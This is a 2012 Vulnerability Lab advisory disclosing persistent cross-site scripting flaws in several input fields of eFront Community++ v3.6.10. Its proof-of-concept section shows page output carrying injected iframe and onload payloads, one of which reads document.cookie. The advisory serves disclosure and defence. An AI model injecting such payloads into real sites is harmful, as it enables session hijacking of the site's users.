eFront Community++ v3.6.10 - Multiple Web Vulnerabilities

Document Title:
===============
eFront Community++ v3.6.10 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=421


Release Date:
=============
2012-02-09


Vulnerability Laboratory ID (VL-ID):
====================================
421


Product & Service Introduction:
===============================
Tailored with larger organizations in mind, eFront Community ++ offers solutions for the management of companies most 
valued asset - the people. Based on a coherent approach to human capital management which keeps the workforce actively 
engaged, the eFront Community ++ platform offers the means of aligning learning programs with business goals to cultivate 
employee skills and knowledge associated with business performance. eFront Community ++ builds on top of eFront Educational.

(Copy of the Vendor Homepage: http://efrontlearning.net/product/efront-Community ++.html)


Abstract Advisory Information:
==============================
A Vulnerability Lab Researcher discovered multiple persistent web vulnerabilities on eFronts Community ++ v3.6.10 Application.


Vulnerability Disclosure Timeline:
==================================
2012-02-07:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
eFront
Product: Communiy ++ 3.6.10


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities are detected on eFronts Community++ application v3.6.10.
The vulnerability allows an remote attacker or local low privileged user account to inject/implement malicious 
persistent script code. Successful exploitation with low required user inter action can result in session hijacking 
or persistent context manipulations.


Vulnerable Module(s):
				[+] Forums - Title Name
				[+] Pools - Name & Questions
				[+] Calender Show Interval
				[+] Registration Key - Input/Output
				[+] Themes - Name Input and Output Listing


Picture(s):
				../1.png
				../2.png
				../3.png
				../4.png
				../5.png
				../6.png
				../7.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attacker with low or high required user inter action.
For demonstration or reproduce ...


<td xmlns="http://www.w3.org/1999/xhtml" class="layoutColumn center">
        <div id="messageBlock" class="block">
        
<div class="blockContents messageContents">
         <table class="messageBlock">
             <tbody><tr><td>
<img title="_FAILURE" alt="_FAILURE" class="sprite32 sprite32-warning" src="themes/default/images/others/transparent.gif"/>
</td>
              <td class="failureBlock">&#8203;&#8203;&#8203;&#8203;&#8203;Invalid login name: "> (403)  <a onclick="eF_js_showDivPopup('Error 
Details', 2, 'error_details')" href="javascript:void(0)">More info</a></td>
              <td><img onclick="window.Effect 
? new Effect.Fade($('messageBlock')) : document.getElementById('messageBlock').style.display = 'none';" title="Close" 
alt="Close" class="sprite32 sprite32-close" src="themes/default/images/others/transparent.gif"/></td></tr>
            
</tbody></table>
        </div>
        </div>  <table class="centerTable">

...or 
<tr class="oddRowColor">
<td>
<img title="Forum" alt="Forum" class="forumIcon sprite32 sprite32-forum" 
src="themes/default/images/others/transparent.gif"/><div>
<a href="/communityplusplus/www/administrator.php?ctg=
forum&forum=6">"><iframe a="" <<="" onload='alert("VL")' src="a">
                                 
<p></p>
                                </div>
                            
</td>
<td>0 Subforums, 0 Topics, 0  Messages       
</td>
       <td><span class = "emptyCategory">Never</span>

</td>
       <td class = "centerAlign">


...or
<div>

<a style="white-space: normal;" class="smallHeader" href="/communityplusplus/www/administrator.php
?ctg=forum&poll=1">"><iframe a="" <<="" onload="alert(document.cookie)" src="a">
                                                  <p><p>"><iframe src=a onload=alert(document....</p></div>

</td>                                         

...or    
<tr class="oddRowColor defaultRowHeight">&#8203;&#8203;&#8203;&#8203;&#8203;<td colspan="3" class="emptyCategory">No data found</td></tr>
                                            
<tr class="defaultRowHeight"><td colspan="4" class="sortedTableFooter"><div class="sortTablefilter"><span 
id="languagesTable_currentFilter" style="display: none;">"><iframe span="" <<="" onload='alert("VL")' 
src="a"/></span><input type="text" id="0_sortedTable_filter" onkeypress="if (event.which == 13 || event.keyCode == 13) 
{eF_js_filterData(0); return false;}" value=""><iframe src=a onload=alert("VL") <" onclick='if 
(this.value.match("Filter...")) this.value = "";'/></div><span style="vertical-align: middle;">Rows: </span><select 
onchange="numRows = parseInt(this.options[this.selectedIndex].value);eF_js_changeRowsPerPage(0, numRows)"


...or
</tr><tr>

<td class="calendar ">
<a href="administrator.php?ctg=calendar&view_calendar=1327968000"/></td>
<td class="calendar "><a href="administrator.php?ctg=calendar&view_calendar=1327968000"/></td>

<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328054400">1</a></td>

<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328140800">2</a></td>
<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328227200">3</a></td>
<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328313600">4</a></td>
<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328400000">5</a></td>
</tr>


Reference(s):
				../index1.txt
				../index2.txt
				../index3.txt
				../index4.txt
				../index5.txt
				../index6.txt


Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


Disclaimer & Information:
=========================
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